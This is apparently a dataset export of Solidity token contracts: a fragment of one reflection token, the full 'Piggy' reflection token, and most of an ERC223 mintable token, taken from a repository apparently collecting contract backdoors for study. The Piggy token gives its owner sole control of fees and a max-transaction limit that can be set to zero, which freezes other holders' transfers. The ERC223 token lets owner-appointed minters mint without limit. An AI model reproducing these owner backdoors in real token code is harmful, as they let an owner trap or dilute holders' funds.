(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x77F516D3Bd9F3766489B47b6D302de17C919179F, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 249,998 | 12,291 |
17603ab7aba67ccf6ff63213e28a0e796e76cba0511fed9bd72c8bc2ccf68ad1
| 29,616 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/4a/4a6f91081e6d12a2221d0316375c4be7c5b2600b_Piggy.sol
| 5,261 | 18,816 |
//https://t.me/piggyfinanceio
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Piggy is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**2 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'Piggy';
string private _symbol = 'PIGGY';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint256 private _maxTxAmount = 10**2 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 92,708 | 12,292 |
b0b403840730b36407ef5417c13d108bd623494b9b3005ad2bfa6d21c0b19e82
| 18,757 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x4cf514824f035cc9440f6316e327156c0da6c541.sol
| 3,719 | 13,580 |
pragma solidity ^0.5.8;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC223ReceiverMixin {
function tokenFallback(address _from, uint256 _value, bytes memory _data) public;
}
/// @title Custom implementation of ERC223
/// @author Mai Abha <maiabha82@gmail.com>
contract ERC223Mixin is StandardToken {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferFrom(address _from,
address _to,
uint256 _value) public returns (bool)
{
bytes memory empty;
return transferFrom(_from,
_to,
_value,
empty);
}
function transferFrom(address _from,
address _to,
uint256 _value,
bytes memory _data) public returns (bool)
{
require(_value <= allowed[_from][msg.sender], "Reached allowed value");
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
if (isContract(_to)) {
return transferToContract(_from,
_to,
_value,
_data);
} else {
return transferToAddress(_from,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value, bytes memory _data) public returns (bool success) {
if (isContract(_to)) {
return transferToContract(msg.sender,
_to,
_value,
_data);
} else {
return transferToAddress(msg.sender,
_to,
_value,
_data);
}
}
function transfer(address _to, uint256 _value) public returns (bool success) {
bytes memory empty;
return transfer(_to, _value, empty);
}
function isContract(address _addr) internal view returns (bool) {
uint256 length;
// solium-disable-next-line security/no-inline-assembly
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
function moveTokens(address _from, address _to, uint256 _value) internal returns (bool success) {
if (balanceOf(_from) < _value) {
revert();
}
balances[_from] = balanceOf(_from).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
return true;
}
function transferToAddress(address _from,
address _to,
uint256 _value,
bytes memory _data) internal returns (bool success)
{
require(moveTokens(_from, _to, _value), "Move is not successful");
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _from,
address _to,
uint256 _value,
bytes memory _data) internal returns (bool success)
{
require(moveTokens(_from, _to, _value), "Move is not successful");
ERC223ReceiverMixin(_to).tokenFallback(_from, _value, _data);
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data); // solium-disable-line arg-overflow
return true;
}
}
/// @title Role based access control mixin for Vinci Platform
/// @author Mai Abha <maiabha82@gmail.com>
/// @dev Ignore DRY approach to achieve readability
contract RBACMixin {
/// @notice Constant string message to throw on lack of access
string constant FORBIDDEN = "Doesn't have enough rights";
string constant DUPLICATE = "Requirement already satisfied";
/// @notice Public owner
address public owner;
/// @notice Public map of minters
mapping (address => bool) public minters;
/// @notice The event indicates a set of a new owner
/// @param who is address of added owner
event SetOwner(address indexed who);
/// @notice The event indicates the addition of a new minter
/// @param who is address of added minter
event AddMinter(address indexed who);
/// @notice The event indicates the deletion of a minter
/// @param who is address of deleted minter
event DeleteMinter(address indexed who);
constructor () public {
_setOwner(msg.sender);
}
/// @notice The functional modifier rejects the interaction of sender who is not an owner
modifier onlyOwner() {
require(isOwner(msg.sender), FORBIDDEN);
_;
}
/// @notice Functional modifier for rejecting the interaction of senders that are not minters
modifier onlyMinter() {
require(isMinter(msg.sender), FORBIDDEN);
_;
}
/// @notice Look up for the owner role on providen address
/// @param _who is address to look up
/// @return A boolean of owner role
function isOwner(address _who) public view returns (bool) {
return owner == _who;
}
/// @notice Look up for the minter role on providen address
/// @param _who is address to look up
/// @return A boolean of minter role
function isMinter(address _who) public view returns (bool) {
return minters[_who];
}
/// @notice Adds the owner role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function setOwner(address _who) public onlyOwner returns (bool) {
require(_who != address(0));
_setOwner(_who);
}
/// @notice Adds the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to add role
/// @return A boolean that indicates if the operation was successful.
function addMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, true);
}
/// @notice Deletes the minter role to provided address
/// @dev Requires owner role to interact
/// @param _who is address to delete role
/// @return A boolean that indicates if the operation was successful.
function deleteMinter(address _who) public onlyOwner returns (bool) {
_setMinter(_who, false);
}
/// @notice Changes the owner role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setOwner(address _who) private returns (bool) {
require(owner != _who, DUPLICATE);
owner = _who;
emit SetOwner(_who);
return true;
}
/// @notice Changes the minter role to provided address
/// @param _who is address to change role
/// @param _flag is next role status after success
/// @return A boolean that indicates if the operation was successful.
function _setMinter(address _who, bool _flag) private returns (bool) {
require(minters[_who] != _flag, DUPLICATE);
minters[_who] = _flag;
if (_flag) {
emit AddMinter(_who);
} else {
emit DeleteMinter(_who);
}
return true;
}
}
contract RBACMintableTokenMixin is StandardToken, RBACMixin {
/// @notice Total issued tokens
uint256 totalIssued_;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished, "Minting is finished");
_;
}
function mint(address _to,
uint256 _amount)
onlyMinter
canMint
public
returns (bool)
{
totalIssued_ = totalIssued_.add(_amount);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
